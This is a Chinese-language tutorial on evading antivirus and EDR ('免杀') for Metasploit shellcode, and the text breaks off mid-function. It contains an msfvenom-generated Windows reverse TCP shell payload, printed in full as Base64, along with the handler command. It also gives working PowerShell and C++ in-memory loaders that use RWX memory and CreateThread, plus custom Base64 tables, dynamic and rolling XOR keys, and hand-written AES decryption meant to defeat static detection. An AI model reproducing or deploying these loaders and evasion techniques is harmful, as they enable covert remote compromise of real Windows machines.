知识卡片
-
编码与加密:
编码(Encoding)是[格式转换],无密钥,仅为可读性/传输性服务
加密(Encryption)是[内容隐藏],有密钥,只有密钥才能还原
-
编码技术:
核心编码Base64、Base32/Base58、Hex(十六进制)
核心免杀,内存编码/解码,自定义编规则(打破特征匹配)
-
XOR加密:
XOR(异或):轻量加密、算法简单、速度快、内存执行无开销
XOR核心规则:
A XOR B = C→C XOR B = A(密钥B可逆还原)核心免杀,内存XOR解密、动态生成密钥、多轮XOR
-
AES加密载荷:
AES对称加密、安全性高、抗分析能力强
AES核心参数:密钥长度(128/192/256位)、模式(CBC/CTR)、填充(PKCS7)
核心免杀:内存AES加解密(密文无固定特征,无法被静态破解)、IV(初始向量)随机化、密钥/IV内存存储、无文件解密执行
技能详解
一、编码与加密
我们先了解一下Shellcode(即Payload)的传输流程,Shellcode(加密--编码)——>目标机器(解码--解密)然后执行

如果直接Shellcode传到目标机上AV/EDR直接识别就杀掉了,如果想着先加密然后编码,传到目标机上AV/EDR会先进行解码,解码出来的东西因为经过加密,他是识别不出来的纯乱码(当然如果是常见加密方法,AV直接根据病毒库的Hash就能杀掉),这就是编码+加密的基础用法。
实验一、MSF测试
根据上面的流程,我们用msf生成的Shellcode检测免杀效果
-
msf生成raw并输出十六进制格式
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.133 LPORT=4444 -f raw -o shellcode_raw.bin xxd -p shellcode_raw.bin | head -5 # 查看前5行十六进制内容,检测是否成功生成
-
对原始Shellcode进行XOR加密
因为msf自带Encoder,这里就不写脚本直接使用了
┌──(root㉿kali)-[/home/kali/shell] └─# msfvenom -l encoders | grep -i "x64.*xor" x64/xor normal XOR Encoder x64/xor_context normal Hostname-based Context Keyed Payload Encoder x64/xor_dynamic normal Dynamic key XOR Encoder
这里选择xor_dynamic,因为这个运行的时候密钥是动态的,也可以用xor,不过密钥是固定的,既然追求静态规避还是xor_dynamic好点
msfvenom -p generic/custom PAYLOADFILE=shellcode_raw.bin -e x64/xor_dynamic -i 7 -f raw -o shellcode_xor.bin
-
-p generic/custom:自定义 payload 模式,读取外部的shellcode_raw.bin作为原始加密对象 -
PAYLOADFILE=shellcode_raw.bin:指定要加密的 x64 raw shellcode 文件路径 -
-e x64/xor_dynamic指定要使用的加密器 -
-i 7迭代七次,增强加密效果,但是迭代过多会增大Payload体积
-
对加密后的Shellcode做Base64标准编码
base64 -w 0 shellcode_xor.bin > shellcode_xor_base64.txt
-
-w 0:取消 Base64 默认的 76 字符行宽限制,避免编码结果中出现换行符
6ydbU1+wIPyudf1XWVNeigYwB0j/x0j/xmaBP/nPdAeAPiB16uvm/+Ho1P///xgIIPMvQ1tHuEP0tn3lX0FbRoIeOB9A589Q995umTe33GwPmDZDffLj/vf54Mz35/cQEEPrJ1tTX7C+/K51/VdZU16KBjAHSP/HSP/GZoE/Lk10B4A+vnXq6+b/4ejU////GAi+8y9DW0e4tfS2feVfQVtGgh44H0Dnz1D33m6ZN/zGbA+YNrV98uP+9/ngzPfn9xAQtesnW1NfsCD8rnX9V1lTXooGMAdI/8dI/8ZmgT94lXQHgD4gderr5v/h6NT///8YIPM/Q0tHqATktm3lT0FLRpIeKB9Q599Q595+mSfSbWwfmCYEbfLz/uf58Mzn5+c7BNAcYGhki3/HlU7GbGJoZbE9CzxzxPxzxP1dugSonU88uwV/TtHQ3cTa0+/ExMQvf9NnrMvfx+8vLy9ufm5/fX55Zx79SmekfU9npH03Z6R9D2ekXX9nIJhlZWIe5mce74MTTlMtAw9u7uYibi7uzcJ9bn5npH0PpG0TZy7/pK+nLy8vZ6rvW0hnLv9/pGc3a6RvD2Yu/8x5Z9DmbqQbp2cu+WIe5mce74Nu7uYibi7uF89a3mMsYwsnahb+Wvd3a6RvC2Yu/0lupCNna6RvM2Yu/26kK6dnLv9ud253cXZ1bndudm51Z6zDD2590M93bnZ1Z6Q9xnjQ0NByZpFYXB1wHB0vL255ZqbJZ67Djy4vL2amymaTLS8+c++HLqpue2amy2Om3m6VY1gJKND6Y6bFRy4uLy92bpUGr0Qv0Pp/f2Ie5mIe72fQ72em7WfQ72em7m6VxSDwz9D6Z6boRT9ud2OmzWem1m6VtopbTtD6Z67rby0vL2aXTEJLLy8vLy9uf25/Z6bNeHh4Yh7vRSJ2bn/N00noawt7Li5nomsLN+kvR2emyXl/bn9uf25/ZtDvbn9m0Odipu5jpu5ulVbjEKnQ+mce/WfQ5aQhbpUnqDJP0PqU35qNeW6VibqSstD6Z6zrBxMpUyWv1M9aKpRoPF1ARS92bqb10PqondJteJXs1i5Np8z5zw==
-
Kali上先开启监听
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST 192.168.1.133; set LPORT 4444; set ExitOnSession false; run"
-
目标机器上执行:(都是露头就被360和火绒秒了,使用MSF就是这个结果了,里面的逻辑早就标死了)
一、Powershell内存加载
VT免杀 11/62
<# .SYNOPSIS 内存加载加密+Base64编码的x64 Shellcode(自动解密+执行) .DESCRIPTION 双击即可执行,全程内存操作,无文件落地,适配msf的x64/xor_dynamic加密Shellcode #> # 解决执行策略限制 Set-ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue $base64Data = "6ydbU1+wIPyudf1XWVNeigYwB0j/x0j/xmaBP/nPdAeAPiB16uvm/+Ho1P///xgIIPMvQ1tHuEP0tn3lX0FbRoIeOB9A589Q995umTe33GwPmDZDffLj/vf54Mz35/cQEEPrJ1tTX7C+/K51/VdZU16KBjAHSP/HSP/GZoE/Lk10B4A+vnXq6+b/4ejU////GAi+8y9DW0e4tfS2feVfQVtGgh44H0Dnz1D33m6ZN/zGbA+YNrV98uP+9/ngzPfn9xAQtesnW1NfsCD8rnX9V1lTXooGMAdI/8dI/8ZmgT94lXQHgD4gderr5v/h6NT///8YIPM/Q0tHqATktm3lT0FLRpIeKB9Q599Q595+mSfSbWwfmCYEbfLz/uf58Mzn5+c7BNAcYGhki3/HlU7GbGJoZbE9CzxzxPxzxP1dugSonU88uwV/TtHQ3cTa0+/ExMQvf9NnrMvfx+8vLy9ufm5/fX55Zx79SmekfU9npH03Z6R9D2ekXX9nIJhlZWIe5mce74MTTlMtAw9u7uYibi7uzcJ9bn5npH0PpG0TZy7/pK+nLy8vZ6rvW0hnLv9/pGc3a6RvD2Yu/8x5Z9DmbqQbp2cu+WIe5mce74Nu7uYibi7uF89a3mMsYwsnahb+Wvd3a6RvC2Yu/0lupCNna6RvM2Yu/26kK6dnLv9ud253cXZ1bndudm51Z6zDD2590M93bnZ1Z6Q9xnjQ0NByZpFYXB1wHB0vL255ZqbJZ67Djy4vL2amymaTLS8+c++HLqpue2amy2Om3m6VY1gJKND6Y6bFRy4uLy92bpUGr0Qv0Pp/f2Ie5mIe72fQ72em7WfQ72em7m6VxSDwz9D6Z6boRT9ud2OmzWem1m6VtopbTtD6Z67rby0vL2aXTEJLLy8vLy9uf25/Z6bNeHh4Yh7vRSJ2bn/N00noawt7Li5nomsLN+kvR2emyXl/bn9uf25/ZtDvbn9m0Odipu5jpu5ulVbjEKnQ+mce/WfQ5aQhbpUnqDJP0PqU35qNeW6VibqSstD6Z6zrBxMpUyWv1M9aKpRoPF1ARS92bqb10PqondJteJXs1i5Np8z5zw== " # ======================================================================== try { # 步骤1:Base64解码(内存中,得到加密的Shellcode字节数组) Write-Host "[+] 正在解码Base64字符串..." -ForegroundColor Green $encryptedShellcode = [Convert]::FromBase64String($base64Data) Write-Host "[+] Base64解码完成,Shellcode长度:$($encryptedShellcode.Length) 字节" -ForegroundColor Green # 步骤2:导入kernel32.dll的核心API(内存分配、创建线程) Write-Host "[+] 正在加载系统API..." -ForegroundColor Green $kernel32 = Add-Type -MemberDefinition @" [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll", SetLastError = true)] public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool CloseHandle(IntPtr hObject); "@ -Name "Kernel32" -Namespace "Win32" -PassThru -ErrorAction Stop # 步骤3:分配可执行内存(RWX权限:读/写/执行,0x1000=MEM_COMMIT,0x40=PAGE_EXECUTE_READWRITE) $alloc = $kernel32::VirtualAlloc([IntPtr]::Zero, $encryptedShellcode.Length, 0x1000, 0x40) if ($alloc -eq [IntPtr]::Zero) { throw "内存分配失败,错误码:$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" } Write-Host "[+] 内存分配成功,地址:0x$($alloc.ToString('X'))" -ForegroundColor Green # 步骤4:将加密的Shellcode写入内存(无文件落地) Write-Host "[+] 正在将Shellcode写入内存..." -ForegroundColor Green [System.Runtime.InteropServices.Marshal]::Copy($encryptedShellcode, 0, $alloc, $encryptedShellcode.Length) # 步骤5:创建线程执行Shellcode(xor_dynamic会自动在内存解密) $thread = $kernel32::CreateThread([IntPtr]::Zero, 0, $alloc, [IntPtr]::Zero, 0, [IntPtr]::Zero) if ($thread -eq [IntPtr]::Zero) { throw "创建线程失败,错误码:$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" } Write-Host "[+] 正在执行Shellcode(自动解密中)..." -ForegroundColor Green # 步骤6:等待线程执行完成 $kernel32::WaitForSingleObject($thread, [uint32]::MaxValue) Write-Host "[+] Shellcode执行完成!" -ForegroundColor Green # 清理资源 $kernel32::CloseHandle($thread) | Out-Null } catch { Write-Host "[!] 执行失败:$($_.Exception.Message)" -ForegroundColor Red Read-Host "按任意键退出..." exit 1 } # 隐藏窗口(可选,实战中可删除) Read-Host "按任意键退出..." exit 0
二、编译C++执行
11/72
#include <windows.h> #include <iostream> #include <vector> #include <wincrypt.h> #include <algorithm> #pragma comment(lib, "Crypt32.lib") std::vector<BYTE> DecodeBase64(const std::string& input) { DWORD dwLen = 0; CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, NULL, &dwLen, NULL, NULL); std::vector<BYTE> data(dwLen); CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &dwLen, NULL, NULL); return data; } int main() { // 1. 填入你Base64 std::string b64_payload = "6ydbU1+wIPyudf1XWVNeigYwB0j/x0j/xmaBP/nPdAeAPiB16uvm/+Ho1P///xgIIPMvQ1tHuEP0tn3lX0FbRoIeOB9A589Q995umTe33GwPmDZDffLj/vf54Mz35/cQEEPrJ1tTX7C+/K51/VdZU16KBjAHSP/HSP/GZoE/Lk10B4A+vnXq6+b/4ejU////GAi+8y9DW0e4tfS2feVfQVtGgh44H0Dnz1D33m6ZN/zGbA+YNrV98uP+9/ngzPfn9xAQtesnW1NfsCD8rnX9V1lTXooGMAdI/8dI/8ZmgT94lXQHgD4gderr5v/h6NT///8YIPM/Q0tHqATktm3lT0FLRpIeKB9Q599Q595+mSfSbWwfmCYEbfLz/uf58Mzn5+c7BNAcYGhki3/HlU7GbGJoZbE9CzxzxPxzxP1dugSonU88uwV/TtHQ3cTa0+/ExMQvf9NnrMvfx+8vLy9ufm5/fX55Zx79SmekfU9npH03Z6R9D2ekXX9nIJhlZWIe5mce74MTTlMtAw9u7uYibi7uzcJ9bn5npH0PpG0TZy7/pK+nLy8vZ6rvW0hnLv9/pGc3a6RvD2Yu/8x5Z9DmbqQbp2cu+WIe5mce74Nu7uYibi7uF89a3mMsYwsnahb+Wvd3a6RvC2Yu/0lupCNna6RvM2Yu/26kK6dnLv9ud253cXZ1bndudm51Z6zDD2590M93bnZ1Z6Q9xnjQ0NByZpFYXB1wHB0vL255ZqbJZ67Djy4vL2amymaTLS8+c++HLqpue2amy2Om3m6VY1gJKND6Y6bFRy4uLy92bpUGr0Qv0Pp/f2Ie5mIe72fQ72em7WfQ72em7m6VxSDwz9D6Z6boRT9ud2OmzWem1m6VtopbTtD6Z67rby0vL2aXTEJLLy8vLy9uf25/Z6bNeHh4Yh7vRSJ2bn/N00noawt7Li5nomsLN+kvR2emyXl/bn9uf25/ZtDvbn9m0Odipu5jpu5ulVbjEKnQ+mce/WfQ5aQhbpUnqDJP0PqU35qNeW6VibqSstD6Z6zrBxMpUyWv1M9aKpRoPF1ARS92bqb10PqondJteJXs1i5Np8z5zw== "; b64_payload.erase(std::remove(b64_payload.begin(), b64_payload.end(), '\n'), b64_payload.end()); b64_payload.erase(std::remove(b64_payload.begin(), b64_payload.end(), '\r'), b64_payload.end()); b64_payload.erase(std::remove(b64_payload.begin(), b64_payload.end(), ' '), b64_payload.end()); b64_payload.erase(std::remove(b64_payload.begin(), b64_payload.end(), '\t'), b64_payload.end()); std::vector<BYTE> shellcode = DecodeBase64(b64_payload); if (shellcode.empty()) { printf("Base64 解码失败!\n"); return -1; } // 2. 申请内存 LPVOID exec_mem = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!exec_mem) { printf("内存申请失败: %d\n", GetLastError()); return -1; } // 3. 拷贝 RtlMoveMemory(exec_mem, shellcode.data(), shellcode.size()); // 4. 修改权限 DWORD oldProtect; if (!VirtualProtect(exec_mem, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect)) { printf("权限修改失败: %d\n", GetLastError()); return -1; } // 5. 执行 printf("正在启动线程执行 Shellcode...\n"); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL); if (hThread != NULL) { printf("线程已创建,等待回连...\n"); WaitForSingleObject(hThread, INFINITE); } else { printf("线程创建失败: %d\n", GetLastError()); } return 0; }
-
既然造好的轮子不好用我们就自己造轮子,在课程最后咱直接从零开始造加解密的方法
二、编码技术
Hex编码、Base64编码等,还有一些冷门的编码如Base58等
其中主要的就是Base64编码了,我们主要强调内存解码与相应混淆策略
下面就是标准Base64内存解码函数了(内存解码没有敏感特征落地,AV/EDR无法静态检测)
// 内存Base64解码(纯内存操作,返回需手动free) unsigned char* Base64Decode(const char* base64Str, size_t* outLen) { if (!base64Str || !outLen) return NULL; static const char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; static int revTable[256]; static int init = 0; // 仅初始化一次反向查找表 if (!init) { memset(revTable, -1, sizeof(revTable)); for (int i = 0; i < 64; i++) revTable[(unsigned char)table[i]] = i; init = 1; } size_t inLen = strlen(base64Str); if (inLen == 0) { *outLen = 0; return NULL; } // 预分配足够空间 unsigned char* out = (unsigned char*)malloc((inLen * 3) / 4 + 2); if (!out) return NULL; size_t outPos = 0; unsigned int accum = 0; int bits = 0; for (size_t i = 0; i < inLen; i++) { unsigned char c = (unsigned char)base64Str[i]; if (c == '=') break; // 填充符结束 if (revTable[c] == -1) continue; // 跳过无效字符 accum = (accum << 6) | revTable[c]; bits += 6; if (bits >= 8) { bits -= 8; out[outPos++] = (accum >> bits) & 0xFF; } } *outLen = outPos; return out; }
但是这种标准Base64太主流了,静态特征高频且敏感,这就要用的自定义编码表了,自定义编码表要求我们同时自己写出解码逻辑,如果配合冷门编码算法结合自定义编码表过静态特征就比较容易了。
在自定义编码表前,我们要先理解原来的编码算法
标准 Base64 的核心是6 位→字符的映射表,共 64 个可打印字符,固定顺序:
标准表:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 索引值:0 1 2 ... 25 26 27 ... 51 52 53 ... 61 62 63
编码时,把二进制数据按 6 位分组,每组对应标准表中的一个字符;
解码时,把字符反向映射回 6 位二进制,再拼接成原始数据。
自定义编码表核心原理:打乱标准表的字符顺序或替换部分字符(核心:仍保留64个可打印字符)
-
攻击机:用自定义表编码 Shellcode → 生成 “非标准 Base64 字符串”;
-
目标机:用相同的自定义表解码 → 还原出加密的 Shellcode;
-
AV/EDR :用标准表解码 → 得到乱码,无法识别恶意特征;
示例:
步骤 1:定义自定义编码表
// 标准Base64表(对比用) const char STANDARD_BASE64_TABLE[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; // 自定义表(示例:大小写反转+替换+/为-_) const char CUSTOM_BASE64_TABLE[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_";
步骤 2:攻击机 —— 用自定义表编码 Shellcode
#include <stdio.h> #include <string.h> #include <stdlib.h> // 自定义Base64编码函数(攻击机用,加密Shellcode后编码) char* CustomBase64Encode(const unsigned char* data, size_t dataLen) { const char CUSTOM_TABLE[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_"; // 预估编码后长度(向上取整) size_t encodeLen = ((dataLen + 2) / 3) * 4; char* result = (char*)malloc(encodeLen + 1); // +1存结束符 if (!result) return NULL; size_t outPos = 0; unsigned int accumulator = 0; int bitsRemaining = 0; for (size_t i = 0; i < dataLen; i++) { // 把8位数据存入累加器 accumulator = (accumulator << 8) | data[i]; bitsRemaining += 8; // 每凑够6位,取自定义表中的字符 while (bitsRemaining >= 6) { bitsRemaining -= 6; int idx = (accumulator >> bitsRemaining) & 0x3F; // 0x3F=63,取低6位 result[outPos++] = CUSTOM_TABLE[idx]; } } // 处理剩余不足6位的部分(补0) if (bitsRemaining > 0) { accumulator <<= (6 - bitsRemaining); int idx = accumulator & 0x3F; result[outPos++] = CUSTOM_TABLE[idx]; } // 补填充符=(保持Base64格式) while (outPos % 4 != 0) { result[outPos++] = '='; } result[outPos] = '\0'; // 结束符 return result; } // 测试:加密后的Shellcode → 自定义Base64编码 int main() { // 假设shellcode.bin是msf加密后的Shellcode(读取到内存) FILE* fp = fopen("shellcode.bin", "rb"); if (!fp) return -1; fseek(fp, 0, SEEK_END); size_t dataLen = ftell(fp); fseek(fp, 0, SEEK_SET); unsigned char* shellcode = (unsigned char*)malloc(dataLen); fread(shellcode, 1, dataLen, fp); fclose(fp); // 自定义Base64编码(内存中操作) char* customBase64 = CustomBase64Encode(shellcode, dataLen); if (customBase64) { // 保存编码结果(仅攻击机保存,目标机直接用内存中的字符串) FILE* outFp = fopen("shellcode_custom_base64.txt", "w"); fwrite(customBase64, 1, strlen(customBase64), outFp); fclose(outFp); printf("自定义Base64编码完成:%s\n", customBase64); free(customBase64); } free(shellcode); return 0; }
步骤 3:目标机 —— 用相同自定义表解码
#include <windows.h> #include <string.h> #include <stdlib.h> // 自定义Base64解码函数(目标机用,内存中解码) unsigned char* CustomBase64Decode(const char* customBase64Str, size_t* outLen) { const char CUSTOM_TABLE[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_"; // 构建反向查找表(字符→索引,匹配自定义表) int reverseTable[256]; memset(reverseTable, -1, sizeof(reverseTable)); for (int i = 0; i < 64; i++) { reverseTable[(unsigned char)CUSTOM_TABLE[i]] = i; } size_t inLen = strlen(customBase64Str); size_t maxOutLen = (inLen * 3) / 4; unsigned char* result = (unsigned char*)malloc(maxOutLen); if (!result) return NULL; size_t outPos = 0; unsigned int accumulator = 0; int bitsRemaining = 0; for (size_t i = 0; i < inLen; i++) { unsigned char c = (unsigned char)customBase64Str[i]; if (c == '=') break; // 跳过填充符 int idx = reverseTable[c]; if (idx == -1) continue; // 跳过无效字符 // 把自定义表的字符映射回6位数据 accumulator = (accumulator << 6) | idx; bitsRemaining += 6; // 每凑够8位,提取一个字节(内存中) if (bitsRemaining >= 8) { bitsRemaining -= 8; result[outPos++] = (accumulator >> bitsRemaining) & 0xFF; } } *outLen = outPos; return result; } // 目标机执行逻辑:自定义Base64解码 → 内存执行Shellcode void ExecuteCustomShellcode(const char* customBase64Str) { size_t shellcodeLen = 0; // 步骤1:内存中自定义Base64解码 unsigned char* encryptedShellcode = CustomBase64Decode(customBase64Str, &shellcodeLen); if (!encryptedShellcode || shellcodeLen == 0) return; // 步骤2:分配可执行内存(RWX) LPVOID mem = VirtualAlloc(NULL, shellcodeLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!mem) { free(encryptedShellcode); return; } // 步骤3:写入内存并执行(自动解密) memcpy(mem, encryptedShellcode, shellcodeLen); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL); if (hThread) { WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } // 清理内存 VirtualFree(mem, 0, MEM_RELEASE); free(encryptedShellcode); } int main() { // 替换为攻击机生成的自定义Base64字符串 const char* customBase64Str = "你的自定义Base64编码字符串"; ExecuteCustomShellcode(customBase64Str); return 0; }
这个我们自定义的编码表算法先留着,到最后和新加密算法一起搭配使用打组合拳
另外我们还可以进行多层编码(如Base64→Hex→Base32),同样执行的时候也需要多层编码,重要的是不用过度的增加执行开销
三、XOR加密
XOR简单、一行代码就能实现加解密,但简单的东西也可以复杂,其主要目的还是规避AV/EDR的静态检测
简单XOR的密钥是固定的(单字节、8字节、16字节),从XOR密钥方面我们还可以动态生成密钥(没有硬编码密钥)、位置相关密钥、密钥分散重建、滚动密钥等等。并且可以不同技术进行叠加,这都是密码学方面的技术了。
动态生成密钥
unsigned char GetKeyByte(size_t idx) { char buf[256] = {0}; GetComputerNameA(buf, sizeof(buf)); // 同一台机器上密钥固定(计算机名不变) unsigned int hash = 0x811C9DC5; for (char* p = buf; *p; p++) hash = (hash ^ *p) * 0x01000193; return (unsigned char)((hash >> (idx % 32)) ^ (idx & 0xFF)); } for(size_t i = 0; i < len; i++) data[i] ^= GetKeyByte(i);
位置相关密钥
unsigned char GetContextKey(size_t pos) { unsigned char baseKey[8] = {0xAA,0xBB,0xCC,0xDD,0xEE,0xFF,0x11,0x22}; return baseKey[pos % 8] ^ (unsigned char)(pos >> 3) ^ (pos & 0x1F); }
密钥分散重建
void RebuildKey(unsigned char* outKey, size_t klen) { // 碎片来自不同位置 outKey[0] = 'f' ^ 0x55; outKey[1] = 'l' ^ 0x66; // 藏在字符串里 outKey[2] = *(unsigned char*)0x401000 ^ 0x77; // 甚至藏在PE头 // ... 其余碎片 // 最后再做一次简单变换 for(int i=0; i<klen; i++) outKey[i] ^= (i*17); }
滚动密钥
unsigned char RollingKey(unsigned char seed, size_t step) { static unsigned int state = 0xDEADBEEF; state = (state * 0x19660D + 0x3C6EF35F) ^ seed; // LCG return (state >> (step % 24)) & 0xFF; }
XOR简单易用,但AV/EDR能通过"异或行为特征"来识别操作。这个时候就需要其他的加密方式了,这里就是一种对称加密算法AES。
AES算法核心参数:密钥长度(通常选128位),加密模式(优先CTR计数器模式),IV(初始向量,必须随机生成)
下面是AES-128-CTR的加密结构流程:

传到目标机后解密要使用我们的16字节密钥,通常系统或者库的原生解密API都会被EDR/AV严防死守,所以我们在针对这种情况的时候应该多手写解密算法
本地加密算法这里直接使用Python脚本语言实现
# AES-128-CTR加密shellcode from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import os def aes_encrypt(shellcode, key): iv = os.urandom(16) # 随机生成16字节IV cipher = Cipher(algorithms.AES(key), modes.CTR(iv), backend=default_backend()) encryptor = cipher.encryptor() encrypted = encryptor.update(shellcode) + encryptor.finalize() return iv + encrypted # 拼接IV和密文 with open("shellcode.raw", "rb") as f: shellcode = f.read() key = os.urandom(16) # 随机生成16字节密钥 encrypted = aes_encrypt(shellcode, key) print("AES-128-CTR加密后:", encrypted) print("密钥:", key.hex())
手动内存解密算法+执行
#include <iostream> #include <vector> #include <cstdint> #include <string> #include <Windows.h> // ===================== 手写AES-128核心常量(标准S盒/轮常量) ===================== static const uint8_t sbox[256] = { 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76, 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0, 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15, 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75, 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84, 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF, 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8, 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2, 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73, 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB, 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79, 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08, 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A, 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E, 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF, 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16 }; static const uint8_t rcon[10] = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 }; // ===================== 纯手写AES-128核心函数(无系统库依赖) ===================== void SubBytes(uint8_t state[4][4]) { for (int i = 0; i < 4; i++) for (int j = 0; j < 4; j++) state[i][j] = sbox[state[i][j]]; } void ShiftRows(uint8_t state[4][4]) { uint8_t temp; // 第2行移1位 temp = state[1][0]; state[1][0] = state[1][1]; state[1][1] = state[1][2]; state[1][2] = state[1][3]; state[1][3] = temp; // 第3行移2位 temp = state[2][0]; state[2][0] = state[2][2]; state[2][2] = temp; temp = state[2][1]; state[2][1] = state[2][3]; state[2][3] = temp; // 第4行移3位 temp = state[3][0]; state[3][0] = state[3][1]; state[3][1] = state[3][2]; state[3][2] = state[3][3]; state[3][3] = temp; temp = state[3][0]; state[3][0] = state[3][1]; state[3][1] = state[3][2]; state[3][2] = state[3][3]; state[3][3] = temp; } // 修正列混合的GF(2^8)运算,确保和Python库一致 uint8_t gf_mult(uint8_t a, uint8_t b) { uint8_t res = 0; while (b) { if (b & 1) res ^= a; a = (a << 1) ^ ((a & 0x80) ? 0x1B : 0); b >>= 1; } return res; } void MixColumns(uint8_t state[4][4]) { for (int j = 0; j < 4; j++) { uint8_t col[4]; for (int i = 0; i < 4; i++) col[i] = state[i][j]; state[0][j] = gf_mult(col[0], 2) ^ gf_mult(col[1], 3) ^ col[2] ^ col[3]; state[1][j] = col[0] ^ gf_mult(col[1], 2) ^ gf_mult(col[2], 3) ^ col[3]; state[2][j] = col[0] ^ col[1] ^ gf_mult(col[2], 2) ^ gf_mult(col[3], 3); state[3][j] = gf_mult(col[0], 3) ^ col[1] ^ col[2] ^ gf_mult(col[3], 2); } } void AddRoundKey(uint8_t state[4][4], uint8_t roundKey[4][4]) { for (int i = 0; i < 4; i++) for (int j = 0; j < 4; j++) state[i][j] ^= roundKey[i][j]; } void KeyExpansion(uint8_t key[16], uint8_t expandedKey[176]) { memcpy(expandedKey, key, 16); int i = 16; while (i < 176) { uint8_t temp[4] = { expandedKey[i-4], expandedKey[i-3], expandedKey[i-2], expandedKey[i-1] }; if (i % 16 == 0) { // 循环左移+S盒+轮常量 uint8_t t = temp[0]; temp[0] = temp[1]; temp[1] = temp[2]; temp[2] = temp[3]; temp[3] = t; temp[0] = sbox[temp[0]]; temp[1] = sbox[temp[1]]; temp[2] = sbox[temp[2]]; temp[3] = sbox[temp[3]]; temp[0] ^= rcon[(i/16)-1]; } expandedKey[i] = expandedKey[i-16] ^ temp[0]; expandedKey[i+1] = expandedKey[i-15] ^ temp[1]; expandedKey[i+2] = expandedKey[i-14] ^ temp[2]; expandedKey[i+3] = expandedKey[i-13] ^ temp[3]; i += 4; } } void AES128_EncryptBlock(uint8_t input[16], uint8_t key[16], uint8_t output[16]) { uint8_t state[4][4], expandedKey[176]; // 初始化状态矩阵(列优先) for (int i = 0; i < 4; i++) for (int j = 0; j < 4; j++) state[j][i] = input[i*4 + j]; KeyExpansion(key, expandedKey); // 初始轮密钥加 uint8_t roundKey[4][4]; for (int i = 0; i < 4; i++) for (int j = 0; j < 4; j++) roundKey[j][i] = expandedKey[i*4 + j]; AddRoundKey(state, roundKey); // 9轮主循环 for (int round = 1; round < 10; round++) { SubBytes(state); ShiftRows(state); MixColumns(state); for (int i = 0; i < 4; i++) for (int j = 0; j < 4; j++) roundKey[j][i] = expandedKey[round*16 + i*4 + j]; AddRoundKey(state, roundKey); } // 第10轮(无MixColumns) SubBytes(state); ShiftRows(state); for (int i = 